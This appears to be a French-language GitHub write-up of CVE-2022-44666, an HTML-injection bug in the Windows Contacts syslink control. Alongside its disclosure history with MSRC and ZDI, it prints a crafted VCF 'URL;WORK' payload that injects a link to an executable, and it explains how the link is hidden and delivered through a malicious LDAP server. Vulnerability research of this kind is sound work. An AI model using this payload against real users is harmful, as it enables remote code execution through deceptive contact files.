j00sean/cve-2022-44666
Analyse technique et preuve de concept pour CVE-2022-44666, une vulnérabilité d'échappement d'attribut href dans le contrôle syslink des Contacts Windows permettant l'exécution de code à distance via des fichiers VCF/.contact spécialement conçus et le gestionnaire de protocole LDAP.
Voici l'histoire d'un autre 0day oublié, entièrement divulgué il y a plus de 4 ans par [John Page (aka hyp3rlinx)][R.1]. Pour comprendre le rapport, vous devez considérer que je suis stupide :-) Et ma stupidité me pousse à emprunter des chemins plus longs pour résoudre des problèmes simples, mais elle me conduit aussi à découvrir d'autres façons d'exploiter certains bugs. Pourquoi dis-je cela ? Parce que je n'arrivais pas à comprendre rapidement que la façon de créer un fichier .contact est simplement de naviguer vers le dossier Contact pour créer le contact, au lieu de cela, j'ai utilisé ces informations pour d'abord créer un fichier VCF, puis j'ai pensé à tort qu'il s'agissait d'une variante. Cela était aussi dû au fait que mon cerveau ne peut pas comprendre que certains 0days soient oubliés pendant si longtemps ¯\(ツ)/¯ Une fois cela fait et après les réponses « wontfix » de [MSRC][R.2] et [ZDI][R.3], des recherches plus poussées ont été menées pour augmenter la sévérité, aboutissant finalement aux fichiers .contact et au gestionnaire de protocole URL Windows « ldap ».
Pendant que je lisais le code d'exploitation de [cette vulnérabilité][R.4] qui a en fait été divulguée en tant que 0day et qu'il est possible de trouver dans le [rapport du ZDI][R.5].
Mise à jour 2022/07/21 : Après avoir signalé ce cas à MS, les gens de MSRC m'ont à juste titre signalé que Contacts Windows n'est pas le programme par défaut pour ouvrir les fichiers VCF.
Des recherches supplémentaires démontrent néanmoins que le programme par défaut pour les fichiers VCF sur Win7 ESU & WinServer2019 est Contacts Windows (wab.exe), sinon MS People (PeopleApp.exe) est utilisé. Voici un tableau complet de ces tests :
Quoi qu'il en soit, ils soutiennent toujours qu'il y a une certaine ingénierie sociale impliquée, comme l'ouverture d'un fichier VCF manipulé et le clic sur certains liens pour exploiter le bug, ce qui ne répond donc pas aux critères de bug MSRC pour une mise à jour de sécurité.
Mise à jour 2022/07/25 : Eh bien, après des recherches plus approfondies, il s'agit du même bug. J'ai finalement réussi à trouver une preuve de concept avec un fichier .contact. Il est en fait possible d'analyser correctement un fichier .contact en utilisant des entités HTML. Notez que cela résout le problème précédent (Mise à jour 2022/07/21) et que ce format de fichier (.contact) est ouvert par Contacts Windows, le programme par défaut pour cette extension de fichier, même lorsque MS Office est installé sur le système. Il nécessite juste une première association de fichier si elle n'a pas encore été faite, mais le seul programme installé par défaut pour le faire est Contacts Windows.
Mise à jour 2022/07/25 : Ces recherches plus approfondies m'ont amené à un point que j'essayais d'atteindre depuis quelque temps : utiliser un gestionnaire de protocole URL pour ouvrir automatiquement des données de contact manipulées afin d'exploiter le bug. J'ai finalement réussi à le faire fonctionner grâce au schéma d'URI ldap, qui est associé par défaut à l'application Contacts Windows. Ainsi, en configurant simplement un serveur LDAP malveillant et en fournissant les données de la charge utile sous les attributs mail, url ou wwwhomepage, l'impact de l'exploitation est accru car il n'est plus nécessaire de double-cliquer sur un fichier VCF/Contact malveillant ; nous pouvons le délivrer en utilisant des protocoles URL.
Mise à jour 2023/02/08 : En guise de geste de bonne volonté de la part de MSRC, [John Page (aka hyp3rlinx)][R.1] a été inclus dans la page de remerciements pour la découverte de [CVE-2022-44666][R.10].
Le rapport est essentiellement le même que les liens ci-dessus, mais j'ai un peu amélioré l'ingénierie sociale impliquée. En fait, la première chose que j'ai faite a été d'améliorer la façon dont les liens sont vus, comme s'il s'agissait d'une vulnérabilité XSS ; c'est en réalité une injection HTML, il est donc possible de fermer le premier élément d'ancrage et d'en insérer un nouveau. Ensuite, je voulais supprimer la visibilité de ces éléments HTML, donc définir un « innerHTML » aussi long que possible suffirait à les cacher (en raison des limites de caractères).
Voici la charge utile finale utilisée :```html URL;WORK:">CLICKMEEEEE...
Pour voir ce qui se passe, exécutez procmon et configurez une fausse cible d'attribut href comme ceci :```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
Une fois le lien cliqué, une sortie comme celle-ci est observée dans procmon :
